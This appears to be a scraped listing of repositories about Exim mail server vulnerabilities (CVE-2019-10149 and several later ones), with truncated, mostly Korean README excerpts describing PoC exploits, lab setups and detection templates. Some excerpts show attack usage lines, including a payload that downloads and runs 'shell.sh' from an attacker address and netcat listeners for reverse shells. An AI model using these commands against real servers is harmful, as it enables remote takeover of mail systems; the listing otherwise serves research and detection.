exim-cve-2019-10149-data

Exim CVE 데이터 수집 Exim 취약점 CVE-2019-10149, CVE-2019-15846, CVE-2019-16928 관련 데이터 수집 CVE 공지: https://vulners.com/cve/CVE-2019-10149 익스플로잇 상세: https://www.exploit-db.com/exploits/46974 이슈 타임라인: https://seclists.org/fulldisclosure/2019/Jun/16 NSA 권고:...

exim-vuln-poc

CVE-2018-6789...

CVE-2018-6789

CVE-2018-6789 환경 구축 의존성 설치 apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev 이전 버전의 exim 다운로드 wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz tar -xvzf ./exim-4.89.tar.gz cd ./exim-4.89 cp src/EDITME Local/Makefil...

exim.exp

exim 4.87 - 4.91포함의 취약점을 위한 간단한 익스플로잇...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf exim 사용자 및 그룹 생성 sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 의존성 설치 sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev libdb-dev...

eximrce-CVE-2019-10149

eximrce CVE-2019-10149에 대해 exim이 취약한지 테스트하는 간단한 파이썬 소켓 연결입니다. 페이로드는 단순히 /root/lweximtest 파일을 터치합니다. 서버의 응답과 파이썬 소켓 모듈을 제대로 사용하는 방법을 몰라 출력이 느립니다. 속도를 높이는 방법을 배우고 싶습니다. cPanel 상자에서만 테스트했습니다. 의심 서버에서 로컬로 실행합니다. 이는 손상 징후를 확인합니다. curl -s...

nmap-nse-vulnerability-scripts

NMAP 취약점 스캐닝 스크립트 저렴한 탐지와 수정을 지원하는 nmap 취약점 스캐닝 스크립트 모음입니다. 배경 이 스크립트들은 Nmap Scripting EngineNSE을 사용하여 다양한 취약점에 대한 검사를 구현합니다. 참고 자료: https://nmap.org/book/man-nse.html https://nmap.org/nsedoc/index.html 스크립트 21Nails라고도 알려진 Exim 메일서버 CVE-2020-28017 CVE-2020-28026 스크립트:...

exim-rce-quickfix

이 저장소에는 README가 없습니다...

POC_CVE-2026-45185

CVE-2026-45185 Nuclei 템플릿 검증 실험실 이 저장소는 일반적인 익스플로잇 PoC 저장소가 아닙니다. CVE-2026-45185에 대한 projectdiscovery/nuclei-templates에 기여하기 위한 템플릿의 동작을 재현하고 검토하는 로컬 검증 실험실입니다. The nuclei code template is not a version-only detector. It directly controls STARTTLS, BDAT, TLS closenotify, and a following SMTP...

CVE-2020-28018

CVE-2020-28018: RCE로 이어지는 Exim Use-after-free UAF 소개 tls-openssl.c에 Use-after-free UAF 취약점이 존재하며, 원격의 인증되지 않은 공격자가 내부 메모리 데이터를 손상시켜 궁극적으로 원격 코드 실행을 달성할 수 있습니다. 프리미티브: 메모리 누수 Memory Leakage 임의 읽기 프리미티브 Write-What-Where 프리미티브 이 모든 프리미티브를 함께 연결하면 사용 가능한 모든 익스플로잇 완화 조치를 완전히 우회하여 최종적으로 exim 사용자 권한으로 원...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 취약점 CVE-2019-10149 악용을 위한 PoC 사용 예시 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2019-10149-Exim4-RCE

Cr.Exim 4.87 - 4.91 - 로컬 권한 상승 Cr.Link: https://www.exploit-db.com/exploits/46996 1.이 방법은 먼저 표준 사용자 권한으로 대상 머신에 접근해야 합니다. 2.대상 머신에 접근한 후, 다음 내용으로 스크립트 파일을 생성합니다: vi raptor.sh 3.제공된 'raptor.sh' 파일에서 코드를 복사합니다. 그런 다음 아래 명령으로 파일을 실행합니다: chmod +x raptor.sh ./raptor.sh 4.아래 예시와 유사한 출력이 표시됩니다: Preparin...

PoC_CVE-2019-10149--rce

개요 취약한 exim 서비스로부터 셸로 원격 명령 실행. 취약한 버전은 4.87부터 4.91까지포함입니다. https://nvd.nist.gov/vuln/detail/cve-2019-10149 확인. 다음 스크립트는 Qualys PoC를 기반으로 합니다. https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html 확인. 예시 2개의 터미널 권장 T1 $ nc -nlvp 1337 T2 $ bash exploit.sh $ Listener...

CVE-2026-45185

CVE-2026-45185 — Dead.Letter: Exim ヒープ UAF からリモート root へ CVSS 9.8 Critical | Exim 4.97–4.99.2 | Ubuntu / GnuTLS ビルド | 認証不要 GDB トレース、ステップバイステップ解析、全世界の露出データを含む完全な解説: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html 概要 Exim が BDAT ボディ転送の最中に TLS closenotify アラートを送信すると、tlsclose が...

CVE-2025-26794-exploit

CVE-2025-26794: Exim ETRN SQL 인젝션 익스플로잇 CVE-2025-26794에 대한 개념 증명PoC 익스플로잇 도구로, SQLite DBM 스토리지를 사용할 때 ETRN 명령을 통해 Exim 4.98 메일 서버의 SQL 인젝션 취약점을 시연합니다. ⚠️ 법적 고지 승인된 보안 테스트 전용 이 도구는 교육 목적 및 승인된 침투 테스트용으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 다음을 포함한 다양한 법률에 따라 불법입니다: 미국의 컴퓨터 사기 및 남용 법안CFAA 영국의 컴퓨터 남용 법안Compute...

EXIM-4.87-CVE-2019-10149

EXIM-4.87-CVE-2019-10149 교육 목적을 위한 실습 환경 구축...

CVE-2025-26794-Exim-Mail-SQLi

이 저장소에는 README가 없습니다...

CVE-2023-42115

CVE-2023-42115 Exim AUTH 경계를 벗어난 쓰기Out-Of-Bounds Write 원격 코드 실행 취약점입니다. 이 취약점을 통해 원격 공격자는 영향을 받는 Exim 설치 환경에서 임의 코드를 실행할 수 있습니다. 이 취약점을 악용하기 위해 인증은 필요하지 않습니다. 빌드 git clone https://github.com/doaso/CVE-2023-42115.git cd CVE-2023-42115/ g++ main.cpp -o app -std=c++20 사용법 nc -u -lvp 27015 ./app...

PoC--CVE-2019-10149_Exim

PoC-CVE-2019-10149Exim MNEMO-CERT는 CVE-2019-10149 취약점을 악용하여 상승된 권한으로 명령을 실행할 수 있는 PoC를 개발했습니다. 이 취약점은 Exim4.87 - 4.91의 여러 버전에 영향을 미칩니다. 이 취약점을 로컬에서 악용하려면 실행할 명령을 정의해야 합니다. 반면, 원격 경우에는 Exim이 ACL "verify= recipient"를 사용하지 않는 시나리오만 고려되었으며, 명령 외에도 서비스의 IP 주소와 포트를 지정해야 합니다. MNEMO-CERT는 교육 목적과...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim 4.874.91포함 버전에서 결함이 발견되었습니다. /src/deliver.c의 delivermessage 함수에서 수신자 주소를 잘못 검증하면 원격 명령 실행으로 이어질 수 있습니다. 예제 nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...